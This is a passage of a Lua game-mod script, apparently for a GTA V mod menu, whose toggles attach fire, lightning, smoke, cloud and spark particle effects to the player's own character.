fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_martin1')
end
end)

GTTG(huoshen, "火神IIII",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_martin1') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_martin1')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_martin1')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_sol1_plane_engine_fire', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0.5, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_martin1')
end
end)

GTTG(texiao, "星火燎原",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_xs_pits') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_xs_pits')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_xs_pits')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_xs_fire_pit_long', ptfxEgg, 0, 0, 0.1, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_xs_pits')
end
end)

GTTG(texiao, "雷惊电绕",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_xs_pits') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_xs_pits')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_xs_pits')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_xs_sf_pit_long', ptfxEgg, 0, 0, 0.1, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_xs_pits')
end
end)

GTTG(texiao, "斗气化翼",{""}, "行走触发",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_pm_plane_promotion') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_pm_plane_promotion')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_pm_plane_promotion')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_stuntplane_trail', ptfxEgg, 0, 0, 0.1, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0.3, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_pm_plane_promotion')
end
end)

GTTG(texiao, "尿频",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_bigscore') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_bigscore')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_bigscore')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_bigscore_peeing', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0.2, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_bigscore')
end
end)

huohai = GT(texiao,"火海",{},"")
GTTG(huohai, "火海",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_martin1') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_martin1')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_martin1')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_sol1_plane_tail_fire', ptfxEgg, 0, 0, 0.1, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0.5, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_martin1')
end
end)

GTTG(huohai, "火海II",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_finale1') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_finale1')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_finale1')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_fin_fire_petrol_trev', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, -0.2, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_finale1')
end
end)

GTTG(texiao, "Xfire",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_martin1') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_martin1')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_martin1')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_sol1_fire_trail', ptfxEgg, 0, 0, -1.3, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0.5, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_martin1')
end
end)

GTTG(texiao, "硝烟",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_finale1') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_finale1')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_finale1')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_fin_env_trev_sky', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, -0.2, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_finale1')
end
end)

GTTG(texiao, "满面金光",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_exile2') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_exile2')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_exile2')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_ex2_rpg_trail', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 1, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_exile2')
end
end)

GTTG(newptfx, '雷电法王', {''}, '', function(k)
    leidian = k
    while leidian do
      pedmyfirst = players.user_ped(players.user())
      local titlle = "scr_xs_pits"
      local hashid = "scr_xs_sf_pit_long"
      GRAPHICS.USE_PARTICLE_FX_ASSET(titlle)
      while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(titlle) do
        STREAMING.REQUEST_NAMED_PTFX_ASSET(titlle)
        wait(0)
      end
      GRAPHICS.START_PARTICLE_FX_LOOPED_ON_ENTITY(hashid, pedmyfirst, -0.3, 0, -0.3, 0, 0, 100, 2.5, false, false, false)
      wait(0)
    end
    leidian = false
    GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(pedmyfirst)
end)

GTTG(newptfx, '尘土飞扬', {''}, '', function(k)
    leidian = k
    while leidian do
      pedmyfirst = players.user_ped(players.user())
      local titlle = "scr_pm_plane_promotion"
      local hashid = "scr_stuntplane_trail"
      GRAPHICS.USE_PARTICLE_FX_ASSET(titlle)
      while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(titlle) do
        STREAMING.REQUEST_NAMED_PTFX_ASSET(titlle)
        wait(0)
      end
      GRAPHICS.START_PARTICLE_FX_LOOPED_ON_ENTITY(hashid, pedmyfirst, 0.1, 0, -0.3, 0, 0,0, 2, false, false, false)
      wait(0)
    end
    leidian = false
    GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(pedmyfirst)
  end)
  
  GTTG(newptfx, 'JB喷火', {''}, '', function(k)
    leidian = k
    while leidian do
      pedmyfirst = players.user_ped(players.user())
      local titlle = "weap_xs_vehicle_weapons"
      local hashid = "muz_xs_turret_flamethrower_looping"
      GRAPHICS.USE_PARTICLE_FX_ASSET(titlle)
      while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED(titlle) do
        STREAMING.REQUEST_NAMED_PTFX_ASSET(titlle)
        wait(0)
      end
      GRAPHICS.START_PARTICLE_FX_LOOPED_ON_ENTITY(hashid, pedmyfirst, 0, 0, -0.2, 0, 0,0, 1.5, false, false, false)
      wait(0)
    end
    leidian = false
    GRAPHICS.REMOVE_PARTICLE_FX_FROM_ENTITY(pedmyfirst)
  end)
  
GTTG(newptfx, "风起云涌",{""}, "非常壮观喔~",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_exile1') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_exile1')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_exile1')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_ex1_moving_cloud', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_exile1')
end
end)

GTTG(texiao, "闪亮登场",{""}, "",function(toggle)
fireWingsSettingse.on = toggle
if fireWingsSettingse.on then
 ENTITY.SET_ENTITY_PROOFS(players.user_ped(), false, true, false, false, false, false, 1, false)
if ptfxEgg == nil then
local eggHash = 1803116220
loadModel(eggHash)
ptfxEgg = entities.create_object(eggHash, ENTITY.GET_ENTITY_COORDS(players.user_ped()))
ENTITY.SET_ENTITY_COLLISION(ptfxEgg, false, false)
STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(eggHash)
end
for i = 1, #fireWingse do
while not STREAMING.HAS_NAMED_PTFX_ASSET_LOADED('scr_bigscore') do
STREAMING.REQUEST_NAMED_PTFX_ASSET('scr_bigscore')
wait()
end
GRAPHICS.USE_PARTICLE_FX_ASSET('scr_bigscore')
fireWingse[i].ptfx = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY('scr_bigscore_rpg_trail', ptfxEgg, 0, 0, 0, fireWingse[i].pos[1], 0, fireWingse[i].pos[2], fireWingsSettingse.scalee, false, false, false)
util.create_tick_handler(function()
local rot = ENTITY.GET_ENTITY_ROTATION(players.user_ped(), 2)
ENTITY.ATTACH_ENTITY_TO_ENTITY(ptfxEgg, players.user_ped(), -1, 0, 0, 0.2, rot.x, rot.y, rot.z, false, false, false, false, 0, false)
ENTITY.SET_ENTITY_ROTATION(ptfxEgg, rot.x, rot.y, rot.z, 2, true)
for i = 1, #fireWingse do
GRAPHICS.SET_PARTICLE_FX_LOOPED_SCALE(fireWingse[i].ptfx, fireWingsSettingse.scalee)
GRAPHICS.SET_PARTICLE_FX_LOOPED_COLOUR(fireWingse[i].ptfx, fireWingsSettingse.colour.r, fireWingsSettingse.colour.g, fireWingsSettingse.colour.b)
end
ENTITY.SET_ENTITY_VISIBLE(ptfxEgg, false)
return fireWingsSettingse.on
end)
end
else
for i = 1, #fireWingse do
if fireWingse[i].ptfx then
GRAPHICS.REMOVE_PARTICLE_FX(fireWingse[i].ptfx, true)
fireWingse[i].ptfx = nil
end
if ptfxEgg then
entities.delete_by_handle(ptfxEgg)
ptfxEgg = nil
end
end
STREAMING.REMOVE_NAMED_PTFX_ASSET('scr_bigscore')
end
end)

guangxian = GT(texiao,"光线",{},"")
GTLP(guangxian, "光线", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("cut_family1")
    GRAPHICS.USE_PARTICLE_FX_ASSET("cut_family1")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
"cs_mich1_lighter_sparks", player_pos.x, player_pos.y, player_pos.z -1.5, 0, 0, 0, 20, false, false, false)
end)

GTLP(guangxian, "光线V2", {""}, "", function()
    local player_pos = players.get_position(players.user())
    request_ptfx_asset("cut_trevor1")
    GRAPHICS.USE_PARTICLE_FX_ASSET("cut_trevor1")
    GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
